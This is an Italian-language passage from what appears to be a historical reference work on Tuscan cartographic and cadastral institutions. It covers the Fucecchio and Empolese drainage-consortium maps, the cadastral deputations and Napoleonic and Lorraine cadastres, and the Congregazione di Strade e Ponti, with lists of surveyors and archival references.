Consorzio del Padule di Fucecchio. Per il Consorzio del Padule di Fucecchio (che tuttora le conserva in parte nella sede di Ponte Buggianese e in parte nel Museo della Città e del Territorio di Monsummano Terme), le prime mappe parziali – alcune andate poi perdute – furono rilevate, tra il 1786 e il 1788, dal noto ingegnere granducale Francesco Bombicci, alla scala di 1:3000. Nel 1796, poi, lo stesso Bombicci provvide completare i rilevamenti, oltre che ad unire le diverse mappe parziali in più estese carte comprensoriali e anche in un’unica figura d’insieme (a scala più ridotta) dell’intero comprensorio palustre: queste rappresentazioni si qualificano come prodotti geometrici compiuti, e si limitano, invece, a prestare attenzione – nei comprensori sottoposti all’azione del Consorzio medesimo – alla rete delle infrastrutture viarie e idrauliche e al frazionamento particellare di cui si indicano accuratamente le superfici (nell’unità di misura del tempo, il quadrato, equivalente a 3406 metri quadri) e i proprietari, al fine di offrire all’ente i dati indispensabili per l’applicazione delle imposte.
Dagli anni Venti del XIX secolo, le vecchie figure manoscritte furono affiancate da altre mappe derivate per lucidatura dalle planimetrie del catasto particellare ferdinandeo leopoldino del 1817-32. Di certo, tale catasto granducale venne utilizzato a più riprese anche nella seconda metà di quello stesso secolo e persino all’inizio del Novecento, per costruire alcune raccolte di mappe d’imposizione (rilegate o meno in atlanti), previo aggiornamento dei contenuti topografici di maggiore rilievo come le nuove vie di comunicazione stradali e ferroviarie e i nuovi insediamenti realizzati dopo l’attivazione del 1832.
Pianta del Padule di Fucecchio e sue adiacenza, Francesco Bombicci ingegnere, 1796;
Mappa topografica della pianura aggiacente al Padule di Fucecchio nella Comunità di Montecatini, Francesco Bombicci ingegnere, 1786-88;
Mappa topografica della pianura prossima al Padule di Fucecchio sotto la via della Traversagna nella Comunità di Massa, Francesco Bombicci ingegnere, 1786-88;
Mappa topografica del Fiume Pescia di Pescia tronco superiore dalla Calla di Centoni al Villaggio di Ponte Buggianese, Francesco Bombicci ingegnere, 1786-88;
Mappa topografica della pianura aggiacente al Padule di Fucecchio nella Comunità delle Due Terre cioè di Monsummano e Monte Vetturini, di Francesco Bombicci ingegnere, 1786-88;
Mappa topografica della pianura aggiacente il Padule di Fucecchio nelle Comunità di Uzzano e Buggiano, di Francesco Bombicci ingegnere, 1786-88;
Mappa topografica del Padule di Fucecchio dal Fosso Traverso che è tra i due Canali Maestri dell’istesso Padule fino alle Calle e de’ terreni aggiacenti al medesimo parte dei quali resta nella Cmunità di Fucecchio e parte nella Comunità’ di Cerreto Guidi, Francesco Bombicci ingegnere, 1796;
Plantario dei beni sottoposti all’Imposizione del Fiume Pescia di Pescia a sinistra della corrente nelle Comunità di Pescia, Uzzano e Borgo a Buggiano, atlante di otto mappe alla scala di 1:2500, Giovanni Brunetti geometra, 20 giugno 1827.

Empolese. Le relazioni e le mappe redatte nella seconda metà del secolo XVIII e più ancora nel secolo successivo da tecnici al servizio delle varie imposizioni idrauliche dell’Empolese sono tuttora conservate ad Empoli presso il Comune, nell’Ufficio Consorzi Idraulici e Stradali di Empoli (UCIS).
Pianta del fiume Orme dalla via di Gricciano allo sbocco in Arno, Giovanni Filippo Ciocchi e Sansone Pieri, 28 maggio 1733 (copia dello stesso Ciocchi del 23 dicembre 1739);
Pianta dell’imposizione dell’Orme in spalla destra, Angelo Maria Mascagni, 25 febbraio 1752 (copia fatta da Francesco Bombicci nel 1764);
Cartone per l’imposizione destra dell’Orme posto nell’Empolese, Francesco Magnelli, metà del sec. XVIII;
Pianta del perimetro della imposizione dell’Orme spalla sinistra, metà del sec. XIX, scala 1:2500;
Pianta delle due imposizioni a sinistra del Fiume Arno inferiormente a Empoli dette Sotto il Mulino del Sale e di Riottoli, 1795;
Cartone per l’imposizione dell’Arno alla Moretta, Luigi Martini ing., 20 aprile 1818;
Cartone per l’imposizione dell’Elsa sotto il Rio delle Volpi, Luigi Martini ing., 20 aprile 1818;
Cartone per l’imposizione dell’Elsa in Carraja e Moretta riunite, Luigi Martini ing., 20 aprile 1818;
Cartone dell’imposizione dell’Elsa alle porte del mulino Orlandini, Prospero Badalassi e Luigi Martini ingegneri, 1 settembre 1820;
Pianta geometrica dimostrativa le … Beni in Comunità di Empoli soggetti all’Imposizione del Fiume Elsa sotto il Rio delle Volpi espropriati per la costruzione delle nuove vie provinciali che dalla R. Pisana conducono al nuovo ponte sull’Arno della Motta, Pasquale Martini ing., 31 maggio 1848;
Cartone dell’imposizione d’Arno Vecchio, Graziano Capaccioli, 16 marzo 1824;
Imposizione dei rii Romito e Mosca, inizio del sec. XIX;
Pianta dei terreni compresi nelle imposizioni riunite dei fossi di Vitiana e Pagnana, Marco Moretti ing., 1804;
Pianta del circondario del torrente Piovola, 1810;
Consorzio del torrente Piovola, metà del sec. XIX, scala 1:5000;
Atlante “dei terreni sommersi”, 1844 circa (terreni sommersi dall’Arno durante la piena del 3 novembre 1844), scala 1:20.000;
Pianta geometrica dimostrativa le volture dei beni in Comunità di Empoli soggetti all’Imposizione del Rio del Saettino e Rio di Mezzo espropriati ai qui appresso notati possidenti per la costruzione delle nuove vie provinciali che dalla strada regia Pisana conducono al nuovo ponte sull’Arno detto al passo della Motta, Pasquale Martini ing., 18 maggio 1848;
Cartone dell’imposizione del Rio dei Cappuccini, Pietro Rossini e Domenico Tofanari ingegneri, 1831, 1:2500;
Mappa topografica del perimetro della imposizione dell’Orme spalla destra, 1840-50, scala 1:2500;
Atlante della imposizione straordinaria dell’Arno a Riottoli e Pagnana, Pietro Maestrelli ing., 18 marzo 1879, 1:5000;
Mappa catastale del consorzio dal Rio di S. Maria a Cerbaiola, Paolo Del Vivo ing., 30 settembre 1878;
Pianta dell’imposizione dell’Elsa alla Girandola, seconda metà del sec. XIX, scala 1:2500;
Due lucidi relativi al consorzio del Rio di S. Anna e del Terrafino, seconda metà del sec. XIX, scala 1:2500;
Atlante delle Imposizioni Idrauliche dei Comuni di Montelupo ed Empoli. Consorzio delle Pratelle di Sopra e di Sotto, seconda metà del sec. XIX, scala 1.2500.

Ombrone Pistoiese. Mappa manoscritta della pianura pistoiese con l’Ombrone da canalizzare, 1714 (Biblioteca Forteguerriana di Pistoia, Ms. E.401.8).

Operatori

Pietro Pietrini professore idraulico pistoiese (1821); Marco Gamberai ingegnere pistoiese (1822); Giovanni Brunetti (1827); Francesco Bombicci (1764-96); Giovanni Filippo Ciocchi (1733-1739), Sansone Pieri (1715-33), Angelo Maria Mascagni (1752), Francesco Magnelli (metà XVIII sec.), Vincenzo Campani (1801), Marco Moretti (1804), Prospero Badalassi (1820), Luigi Martini (1818-1820), Graziano Capaccioli (1824), Pietro Rossini (1831), Domenico Tofanari (1831), Pasquale Martini (1848), Giulio Marzocchi (anni ’50-’60 del XIX sec.), Paolo Del Vivo (1878), Pietro Maestrelli (1879); Felice Innocenzio Ramponi (“Perito custode” 1703-1755); Giovannozzo Giovannozzi (1703); Michele Gori (1705); Raffaello Nardi (1705 ca., sottoprovveditore della parte); Antonio Falleri (aiuto dal 1747 al 1755 e “Perito custode” dal 1755); Giuseppe Salvetti (1767); ingegneri Francesco Bombicci e Giovanni Franceschi (periti esterni, 1767).

Riferimenti bibliografici e archivistici

Benigni e de Grammatica, 1998; Bigazzi, Grazi e Giulianelli, 1985; Pietro Leopoldo d’Asburgo Lorena, 1970, II; Romby, 1984, 1988, 1999; Guarducci e Rombai, 1998; Rombai, 1989, p. 170; Tartaro, 1989; Romby e Rombai, a cura di, 2004. BFP, Ms. E.401.8, Corso dell’Ombrone, 1714; ASF, Pratica Segreta di Pistoia, 793, Allargamento d’Ombrone, 8 giugno 1763; ASF, Capitani di Parte Guelfa, filze varie; ACIO, specialmente buste Ombrone 51-52, con documenti anni 1777-1797; busta Ombrone 60, con la memoria di Pietro Pietrini, Relazione per i lavori delle serre o chiuse al torrente Ombrone e ai suoi maggiori affluenti, 1821, e la memoria di Alessandro Manetti Relazione sopra un sistema di serre da stabilirsi nel territorio pistoiese attraverso all’Ombrone e principali suoi influenti, 1 agosto 1822. Più in generale cfr. UCIS e ACBPF.

Anna Guarducci (Siena)

Deputazioni per il Catasto (Granducato di Toscana e Toscana napoleonica)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Deputazioni sull’estimo di Firenze e Siena (1778-1785)

Catasto napoleonico (1807-1814)

Deputazione sopra il Catasto (1817-1825)

Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade (1825-1834)

Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto (1834-1849)

Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato (1849-1862)

Cancellerie comunitative, Agenzie delle Imposte, Uffici Distrettuali delle Imposte Dirette poi Uffici Tecnici Erariali (1862-oggi)

I vari uffici creati dai diversi governi (granducale, borbonico, napoleonico e poi nuovamente granducale) che tra il 1778 e il 1817 ressero la Toscana dovevano realizzare il catasto geometrico particellare secondo i modelli sabaudo-teresiano affermatisi intorno alla metà del XVIII secolo.
In effetti, il catasto geometrico si stava imponendo all’attenzione di molti riformatori illuminati non solo come strumento di perequazione fiscale, atto ad eliminare le grandi differenze prodotte nel tempo sul piano sociale (a tutto vantaggio dei ceti della grande proprietà aristocratica ed ecclesiastica), ma anche come un mezzo per dotare le comunità locali delle entrate indispensabili per la loro gestione e per incentivare gli investimenti agrari: in altri termini, il catasto geometrico venne inteso dai riformatori come strumento di innovazione insieme sociale ed economica, e questo fatto spiega – al di là delle rilevanti difficoltà tecniche – l’opposizione manifestata dai ceti privilegiati che per molti anni (fino alla dominazione napoleonica e alla Restaurazione) impedì la concreta realizzazione dell’operazione.
Il catasto ferdinandeo-leopoldino fu realizzato infatti tra il 1817 e il 1832 (come prosecuzione delle operazioni avviate da Napoleone nel 1807-08), e deve essere considerato il primo dei catasti moderni, del tutto appoggiato com’era ad una triangolazione primaria generale – incardinata su 767 stazioni angolari (dalle quali si dominavano 7515 visuali) e su 2505 triangoli di cui 157 conchiusi – iniziata fin dal 1816 ed eseguita in circa un decennio.

Deputazioni sull’estimo (Firenze e Siena). In collegamento con la radicale riforma delle comunità avviata nel 1772-73 e conclusa nel 1783-84, con Motuproprio granducale del 5 Gennaio 1778 venne costituita la Deputazione sull’estimo del distretto fiorentino composta dal Soprassindaco Senatore Cavaliere Giovan Battista Nelli, dal Commissario degli Innocenti Giovanni Neri, dal Provveditore del Monte di Pietà Conte Federigo Barbolani da Montauto, dal Sottoprovveditore alla Camera delle Comunità Carlo Ippoliti e dal segretario Pagnini. La Deputazione nacque con il compito di esaminare – come si legge nel Motuproprio – “se convenga per il bene dello Stato il fare nuovi Estimi per tutte le Comunità […], quale sarebbe il metodo il più sicuro da tenersi, per conoscere il vero valore dei terreni, e repartire con giustezza le pubbliche gravezze, e propongano le regole, e Istruzioni da osservarsi per la più retta esecuzione” (ASF, Segreteria di Finanze. Affari prima del 1788, 896, Inserto “1778”, c. 1).
Nel marzo 1778, su ordine di S.A.R., fu istituita pure una Deputazione sull’Estimo della Provincia Senese formata dalla Balìa di Siena e composta da 4 o 5 soggetti, tra i quali Pandolfo Spannocchi e il Cancelliere Marc’Antonio Sciarelli. Questa Deputazione aveva il compito di esaminare e proporre il modo di formare gli estimi per le Comunità della Provincia Superiore di Siena, collaborando al progetto con la Deputazione fiorentina (ASF, Segreteria di Finanze. Affari prima del 1788, 984: “Compartimento delle Comunità della Provincia Superiore di Siena”, ins. 1778), o “in altra Comunità che abbia chiesto la confezione di un nuovo Estimo, e che abbia dei terreni parte in piano, e parte in poggio, o costa”. Il sovrano disponeva, inoltre, che per questa prima prova, che era interamente a spese del governo, non venisse pubblicato un editto statale ma si facesse una notificazione sottoscritta dal cancelliere comunitativo, contenente tutte le informazioni che si riteneva opportuno rendere pubbliche. Si lasciava pertanto facoltà alla Deputazione di scegliere la comunità da cui iniziare l’operazione e di redigere la dovuta notificazione.
Nell’ottobre 1778, la Deputazione fiorentina ordinò un primo rilevamento catastale (corredato di mappe dei beni e di stime) in alcune comunità campione che potesse servire da prova per un catasto generale: furono scelte le Comunità di Montecatini, Montevetturini e Monsummano che facevano parte di un’unica cancelleria (ASF, Segreteria di Finanze. Affari prima del 1788, 896, Inserto “1778”, cc. 805-807). Questa operazione in Valdinievole fu condotta (tra la primavera del 1779 e quella del 1780) dall’ingegnere Francesco Bombicci e come stimatori furono incaricati Paolo Piccardi e Luca Antonio Billi coadiuvati da Francesco Betti, pubblico agrimensore, e Mattia Caparrini, fattore dell’azienda granducale di Poggio Imperiale.
Nell’estate del 1780 presero il via le operazioni catastali anche in alcune comunità della Montagna Pistoiese, sempre condotte da Francesco Bombicci, questa volta con l’aiuto dell’ingegnere Gio. Niccola Mazzoni di Pietrasanta; l’operazione venne portata a compimento nel 1784-85.
Con Motuproprio del 18 luglio 1782 venne eletta una seconda deputazione con il compito di prendere in esame i materiali sulle operazioni catastali fino ad allora eseguite nelle comunità campione al fine di esprimere un parere definitivo. Ne fecero parte i vecchi membri Neri e Pagnini a cui vennero affiancati Serristori, Mormorai e Gianni.
Nel 1782 si attivarono le operazioni catastali nelle comunità di Massa e Cozzile, Buggiano, Uzzano e Pescia sempre in Valdinievole, ma questa operazione, eseguita ancora dal Bombicci, non giunse a compimento.
Tra il 1780 e il 1785 vennero realizzati gli estimi delle comunità senesi di S. Quirico d’Orcia e Chiusi condotti dall’ingegnere Bernardino Tozzetti, coadiuvato dall’agrimensore Antonio Faleri, e come stimatori dagli altri agrimensori senesi Francesco Mannucci e Francesco Rigacci.
Per la forte opposizione della grande proprietà terriera che trovò ascolto anche all’interno della deputazione, il granduca nel 1785 decise di interrompere tutte le operazioni catastali e di lasciare le comunità libere di adeguare i propri catasti con procedure geometriche oppure soltanto descrittive: procedure, queste ultime, prescelte pressoché da tutte le comunità granducali (Biagioli, 1975, pp. 7-13).

Catasto napoleonico. Già il nuovo sovrano del Regno d’Etruria, Ludovico di Borbone, con legge dell’11 agosto 1802, prefigurò la “compilazione di un nuovo generale Estimario” che tuttavia non ebbe seguito “per timore da parte del governo delle spese che tale operazione avrebbe comportato”.
Occorre attendere la fine del 1807 e l’annessione all’Impero Francese del Regno d’Etruria perché anche in Toscana venisse nuovamente posto su basi attuative il problema del catasto geometrico che in Francia era stato avviato a titolo sperimentale, in alcune comunità, con il decreto del 3 novembre 1802.
Due istruzioni del 1° dicembre 1807 e del 20 aprile 1808 ordinarono la catastazione in tutti i dipartimenti dell’Impero, mentre altre due leggi del 29 ottobre e 5 novembre 1808 indicavano i metodi di stima.
Per quanto riguarda la Toscana, durante quello stesso anno 1808 venne decisa la messa a disposizione di tre ingegneri verificatori e di un numero imprecisato di geometri-misuratori e di periti di stima affinché le operazioni potessero concludersi nell’arco di un quadriennio.
Ma l’inizio dei lavori fu a lungo bloccato dal problema delle troppo estese comunità dell’ex Granducato, fatto che rendeva impossibile l’applicazione del sistema di triangolazione e mappatura già in uso oltralpe, ove la maglia comunitativa era molto più fitta. Così, tra la fine del 1808 e l’estate del 1810 si tentò di risolvere questo problema di fondo (con la lucida opposizione del geografo imperiale Giovanni De Baillou, specificamente incaricato di progettare la drastica semplificazione del reticolo amministrativo), finché il governo francese dovette convincersi dell’impossibilità e dell’inopportunità di attuare una sorta di controriforma amministrativa.
Venne allora scelto un sistema diverso, col fare la triangolazione in ciascun comune “comme on fait en France celle de tout un canton”, e poi col dividere ogni comune in 4 o 5 parti o sezioni designate col nome del principale comunello o popolo, per fare una mappa in scala 1:2500 o 1:5000 per ciascuna sezione, e poi una sola rappresentazione per l’intera comunità (i quadri d’unione) in scala 1:10.000 o 1:20.000.
Dopo che il geodeta francese Puissant ebbe collegato la triangolazione della Corsica (già realizzata dal Tranchot) con le isole e con vari punti della costa della Toscana, nell’agosto 1810 le operazioni poterono finalmente cominciare in alcuni comuni del Dipartimento del Mediterraneo (Fauglia e Collesalvetti), per estendersi un po’ a tutta la regione nel corso del 1811. I lavori andarono comunque a rilento per difficoltà di ordine politico, finanziario e tecnico, tanto che al momento della caduta dell’Impero le operazioni erano state concluse o condotte a buon punto solo in una quarantina di comunità su 245, con molte mappe che – dopo essere state acquisite dal restaurato governo lorenese con la ripresa dei lavori nel 1817 (oggi sono conservate insieme alle mappe del catasto ferdinandeo-leopoldino nel vari archivi di stato della Toscana) – assai più dei registri descrittivi e delle stime furono considerate imprecise, talora anche in modo intollerabile, soprattutto perché i lavori di triangolazione locale non avevano potuto essere incardinati in una triangolazione generale della Toscana e dell’Italia centro-settentrionale.
Riguardo al personale impiegato, le poche notizie disponibili confermano che questo fu in grandissima parte francese: dei tre ingegneri verificatori solo Luigi Campani era toscano. Alle loro dipendenze lavorarono decine di geometri di prima e seconda classe e stimatori, alcuni toscani (come Prospero Badalassi, Graziano Capaccioli e il Braccesi nel Dipartimento del Mediterraneo sotto la direzione del Campani, e come il Franceschi a Sesto Fiorentino), appositamente formati dal personale francese, che avrebbero poi messo la loro qualificazione professionale al servizio del catasto lorenese del 1817-34 (Biagioli, 1975, pp. 14-35).
Come già detto, Luigi Campani fu l’unico ingegnere verificatore toscano impiegato nei lavori catastali. Giovanni Inghirami ne fece le lodi già nel 1818, cioè a catasto ferdinandeo appena avviato, non solo per la riconosciuta abilità professionale, ma anche per la strumentazione davvero innovativa: già nel 1810, per eseguire le operazioni della triangolazione primaria, Campani si era infatti privatamente dotato “di un circolo moltiplicatore del celebre costruttore parigino Etienne Lenoir” – anche i suoi subordinati erano stati dal medesimo obbligati ad usare “teodoliti pregevoli” (Biagioli, 1975, pp. 23-24 e 51) – e non mancava di chiedere l’aiuto attivo del concittadino scienziato Inghirami non solo per le misurazioni (aiuto che infatti ottenne), ma anche poter convincere il governo a costruire un solido inquadramento geodetico nel territorio pisano-livornese, vale a dire il Dipartimento del Mediterraneo, dove stava operando.
Il 16 gennaio 1812 Campani rivela ad Inghirami il suo convincimento, in contrasto con gli indirizzi governativi che non ne tennero conto, e cioè “che è indispensabile prima una generale triangolazione a uso Cassini in tutto il Dipartimento per avere nella vera posizione ciaschedun Paese e formare così un Canevas trigonometrico bellissimo, facendo i triangoli di primo, secondo e terzo ordine […]. Io farei tutte le osservazioni, i suoi allievi i calcoli. Bisogna dunque fare un ragionato rapporto dimostrando fino all’evidenza: 1°, la necessità di questa operazione; 2°, che non cresce nulla di spesa allo Stato perché l’operazione che si fa separatamente per ciascheduna Comune venendo pagata ai rispettivi geometri si può pagare all’ingegnere geometra in capo che sarebbe incaricato di questa operazione, e che i geometri trovano fatta; 3°, che la triangolazione in generale riattacca meglio tutti i punti e l’insieme delle Comuni, mentre a farla separatamente non può venire così esatta; 4°, si ottiene una Carta Dipartimentale utilissima a tante operazioni dello Stato; 5°, si abbrevia nel suo totale l’operazione del Catasto”.

Deputazione sopra il Catasto. Dopo che lo Stato Pontificio ebbe ripreso i lavori avviati dai francesi e dopo che i principali ministri toscani (fra i quali Vittorio Fossombroni) si furono pronunciati a favore del catasto, il restaurato granduca Ferdinando III ordinò l’inizio delle operazioni con motuproprio 7 ottobre 1817: il 24 novembre dello stesso anno venne insediata la Deputazione sopra il Catasto formata da illustri studiosi come i matematici dello Studio Pisano Pietro Paoli, Pietro Ferroni e Leonardo Frullani, l’astronomo e geografo dell’Osservatorio Ximeniano Giovanni Inghirami, il celebre naturalista ed economista Giovanni Fabbroni, e i proprietari agronomi Emilio Pucci e Lapo de’ Ricci, evidentemente scelti con il compito di stabilire le modalità delle operazioni di rilevamento, delle descrizioni e stime dei beni (terreni e fabbricati non colonici), e in ultima analisi perché potessero garantire “un catasto accettabile senza grosse opposizioni” da parte dei ceti agrari (Biagioli, 1975, p. 41).
I lavori – facendo ricorso in via prioritaria ai tecnici che avevano avuto esperienza durante la catastazione napoleonica – poterono prendere il via nel 1819 grazie alla pubblicazione, con il contributo determinante del Ferroni, di un fascicolo di Istruzioni e Regolamenti (con aggiornamento definitivo nel 1821), con utilizzazione anche dei materiali lasciati dai francesi o fatti arrivare appositamente da Parigi.
Le operazioni sul terreno e i lavori a tavolino relativi all’impianto catastale procedettero speditamente, grazie anche al sistema adottato del compenso a cottimo agli operatori, fino alla loro ultimazione nel 1826, fatte salve le molte correzioni alle 8567 mappe in scala 1:2500 e 1:5000 e ai 242 quadri d’unione comunali a più piccola scala (quasi sempre tra 1:10.000 e 1:20.000), alle descrizioni e stime che si resero necessarie per rimediare ai frequenti errori di topografia o di estimo agrario, e che richiesero ancora circa un quinquennio. Solo per le isole i lavori iniziarono e si conclusero rapidamente nei primi anni ’40.
Le operazioni di misura furono dirette dall’Inghirami che – dopo aver verificato gli errori presenti nelle misure della piccola base trigonometrica costruita nel 1808 a Firenze dall’astronomo tedesco barone de Zach e nella triangolazione francese della Corsica della fine del XVIII secolo diretta dal Tranchot e dall’altro geodeta Puissant collegata alle isole e alla costa della Toscana durante l’occupazione napoleonica in previsione del nuovo catasto – nell’estate 1817 misurò la nuova e più lunga base San Pietro a Grado-Palazzo ai Ponti di Stagno sulla quale appoggiare il primo triangolo della rete trigonometrica della Toscana.
L’Inghirami si incaricò quindi della triangolazione generale di primo grado (incardinata su ben 767 punti) che doveva servire da fondamento “per la triangolazione di secondo grado, che restava affidata a tre ingegneri ispettori [Luigi Campani nel Pisano, Belli nel Senese e Francesco Guasti nel Fiorentino], ed era destinata a coprire l’intera superficie di ogni Comunità, come pure a fornire le coordinate geografiche. Gli ispettori avevano il compito iniziale di visitare e definire i confini delle Comunità del Granducato, mantenendo il più possibile la delimitazione decisa in periodo francese” e ove necessario provvedere alla razionalizzazione dei confini attraverso il loro dimensionamento su strade e corsi d’acqua. “Essi dovevano inoltre suddividere le comunità in sezioni ai fini della compilazione delle mappe, e controllare l’opera dei [numerosi] geometri. Questi ultimi, divisi in due classi [68 per la prima e 195 per la seconda] come in periodo francese, eseguivano il rilievo effettivo, non trigonometrico, delle comunità. I risultati dei loro calcoli, ottenuti con una misura reale, dovevano concordare con quelli desunti dagli ispettori con l’ausilio degli strumenti diottrici di precisione” (Biagioli, 1975, pp. 49-54).
L’attivazione del catasto per la terraferma avvenne con motuproprio del 4 giugno 1832. A partire da quella data, all’impianto si aggiunsero i nuovi materiali cartografici e descrittivi delle cosiddette volture, prodotti per l’aggiornamento graduale del catasto lorenese: un’opera minuta che sarebbe terminata solo con la realizzazione del nuovo catasto italiano alla fine degli anni ’30 del XX secolo (Biagioli, 1975, pp. 36-83).

Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade.
Già nel 1825 (a lavori catastali ancora in corso), la Deputazione venne assegnata alle dipendenze della nuova Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade, che nel 1834 mutò la sua denominazione in Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto.

Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato; Cancellerie comunitative, Agenzie delle Imposte, Uffici Distrettuali delle Imposte Dirette poi Uffici Tecnici Erariali. Nel 1849 la Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto, trasformandosi in Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato, perse ogni competenza sul catasto.
I materiali catastali – con i compiti della loro conservazione e aggiornamento – furono trasferiti alle Cancellerie comunitative. Nel nuovo Regno d’Italia, questi uffici periferici furono riordinati con la denominazione di Agenzie delle Imposte nel 1875, finché – in seguito alla creazione della Direzione Generale del Catasto presso il Ministero delle Finanze – le Agenzie assunsero il nome di Uffici Distrettuali delle Imposte Dirette e poi di Uffici Tecnici Erariali.

Produzione cartografica

La catastazione geometrica tardo-settecentesca ha prodotto qualche centinaio di mappe con relativi registri descrittivi conservati in vari fondi degli Archivi di Stato di Firenze, di Pistoia-Pescia e di Siena e in diversi archivi comunali.
Dalle catastazioni napoleonica e lorenese ferdinandeo-leopoldina, solo per l’impianto, sono scaturite quasi 9000 fra mappe in scala 1:2500 e 1:5000 e quadri d’unione comunali in scala ridotta variabile fra 1:10.000 e 1:50.000 (con registri descrittivi quali Tavole indicative e Campioni dei proprietari e delle comunità, nonché altre documentazioni scritte preparatorie come i Rapporti di stima e le Repliche dei gonfalonieri ai quesiti agrari): tutti materiali conservati – con gli aggiornamenti prodotti successivamente all’attivazione – negli Archivi di Stato dei capoluoghi delle province toscane, per i territori di loro specifica pertinenza.

Operatori

Deputazioni sull’estimo (1778-85): Francesco Bombicci e Gio. Niccola Mazzoni (estimi fiorentini, 1778-1785); Bernardino Tozzetti e Antonio Faleri (estimi senesi, 1780-1785).
Catasto napoleonico (1807-14): Luigi Campani, Prospero Badalassi, Graziano Capaccioli, Baldassarre Marchi, Braccesi.
Catasto ferdinandeo-leopoldino (1817-34): La triangolazione primaria generale fu eseguita in circa un decennio, dal 1816 in poi, da Giovanni Inghirami, dai suoi collaboratori astronomi dell’Osservatorio Ximeniano Cosimo Del Nacca, Numa Pompilio Tanzini, Giuseppe Pedralli, Leopoldo Pasqui, e dai giovani allievi Giovacchino Callai e Pellegrino Papini di Firenze e Ferdinando Mingazzini di Imola (Rombai, 1989, pp. 37, 56, 59, 72, 78, 91-95, 98, 114 e 117).
Alle operazioni di triangolazione secondaria e di misurazione e rilievo topografici furono addetti, tra gli altri, gli ingegneri ispettori: Luigi Campani per il Pisano, Francesco Guasti per il Fiorentino e Belli per il Senese; e gli ingegneri e geometri di prima e seconda classe (non pochi di essi allievi dell’Inghirami o degli altri collegi scolopi toscani): Baglini Luigi, Bagnoli Luigi, Barboni Francesco, Becattini Giuseppe, Gaetano Becherucci, Ippolito Bordoni, Graziano Capaccioli, Capecchi, Cerri Lorenzo, Cerrini, Giuseppe Faldi, Angelo Falorni, Fossi, Frassi, Galli, Luigi Ganucci di Radicofani, Guidi Giovan Domenico, Livi Giuseppe, Magheri Giuseppe, Baldassarre Marchi, F. Martinelli, Massaini, Lamberto Mey, Giuseppe Metelli di Roma, Moriconi, Mozzi, Giovanni Naldoni, Natucci, Giusto Nelli, Paoli, Passeri Girolamo, Passetti, Pazzi, Piccioli Savatore, Corrado Puccini, Gaetano Rigacci, Ristori, Ruini Giovanni, Salvadori Carlo, Salvadori Lorenzo, Sancasciani, Sorelli, Spinazzi Venceslao, Ferdinando Tartini Salvatici, Ugolini, ecc. (Rombai, 1989, pp. 66-95).

Riferimenti bibliografici e archivistici

Barsanti, Bonelli Conenna e Rombai, 2001; Bellinazzi e Manno Tolu, 1995; Bertocci, Bini e Martellacci, 1991; Biagioli, 1981; Bigazzi, Grazi e Giulianelli, 1985; Bueti, 1987; Bueti, 1990; Canestrelli, 1994; Carapelli e Cozzi, 1981/1982; Di Pietro e Fanelli, 1973; Giglia, 1997; Guarducci e Rombai, 1998; Guerrini, 1987; Ludovico, 1991; Manetti, 1991; Mantovani, 1987; Mazzanti e Sbrilli, 1991; Nanni, Pierulivo e Regoli, 1996; Piccardi, 1999/2004; Raffo Maggini, 2001; Rombai, 1997; Rombai, 1989; Rombai, 1993; Romby, 1999; Rossi, 1990; Siemoni, 1998; Toccafondi, 1996; Toccafondi e Vivoli, 1993, pp. 241-243; Biagioli, 1975. ASF-ASA-ASGr-ASP-ASS-ASPo-ASPt-ASLi, Catasto Generale Toscano; ASF, Segreteria di Finanze. Affari prima del 1788; AOX, Carte Giovanni Inghirami.

Leonardo Rombai, Anna Guarducci (Siena)

Congregazione di Strade e Ponti (1677-1769) (Granducato di Toscana)

Obiettivo principale della Congregazione era quello di garantire la buona conservazione delle strade del Granducato di Toscana.
Il controllo periodico della viabilità era assicurato (o, meglio, avrebbe dovuto essere assicurato) da due agenti o commissari “sopra la cura delle strade e ponti fuori della città”, scelti tra i capomastri della magistratura dei Capitani di Parte Guelfa, ai quali spettava il compito di controllare e valutare eventuali necessità del sistema stradale e quindi di provvedere a commissionare gli eventuali interventi di manutenzione e riparazione alle amministrazioni locali (rettori, sindaci, ecc.).
Tra le consuetudini della Congregazione (come del resto di molte altre magistrature non solo granducali) troviamo “l’istituto della sopravvivenza”, cioè la possibilità per gli impiegati di poter nominare un proprio successore: pertanto era assai frequente il subentro di figli o altri parenti (Toccafondi e Vivoli, 1993, pp. 216-217).
Fu istituita in Toscana all’interno della Magistratura dei Capitani di Parte Guelfa, sotto il governo mediceo, nel 1677, peraltro sulla base di una non meglio nota precedente soprintendenza sull’attività degli agenti di strade (è comunque ricordata fin dal 1606 e affidata al soprassindaco dei Nove Conservatori e al provveditore dei Capitani di Parte Guelfa).
Nel 1718 (per ordine del nuovo provveditore della magistratura dei Capitani di Parte Guelfa Giovan Battista Nelli) – dopo vari provvedimenti presi nel corso del XVII secolo per migliorare il livello qualitativo degli operatori, provvedimenti poi rivelatisi poco efficaci, e a causa anche della scarsa efficienza dimostrata dall’ente (la viabilità del Granducato continuava ad essere arcaica, inefficiente e trascurata) – si perfezionarono le competenze degli agenti di strade al servizio della Congregazione: si richiedeva, pertanto da allora, una perizia tecnica maggiore “di quella di semplice muratore o lastricatore” e si stabiliva che tale professione fosse esercitata “con titolo di ingegnere” o di aiuto ingegnere, oppure da “altre persone di simili capacità” comandate dal granduca.
In questa fase di riordino della Congregazione e di specializzazione delle professionalità tecniche, sempre nel 1718 si licenziarono alcuni operatori ritenuti non all’altezza, fra cui Jacopo Pazzi e Mariotto Casali, si revocò ogni grazia concessa a Giovangualberto Casali di poter subentrare al padre Mariotto, e si assunsero invece nuovi e più preparati agenti di strade, come Giovan Battista Bettini e Vittorio Anastasi/Anastagi.
